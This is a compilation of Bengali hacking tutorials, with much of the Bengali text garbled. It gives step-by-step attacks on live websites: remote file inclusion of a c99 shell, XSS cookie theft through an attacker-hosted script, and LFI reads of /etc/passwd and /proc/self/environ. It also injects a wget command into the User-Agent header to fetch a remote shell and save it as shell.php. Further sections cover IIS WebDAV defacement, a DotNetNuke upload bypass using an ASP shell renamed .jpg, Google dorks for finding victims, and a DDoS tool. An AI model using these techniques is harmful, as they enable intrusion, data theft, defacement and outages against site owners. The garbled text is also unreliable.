এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
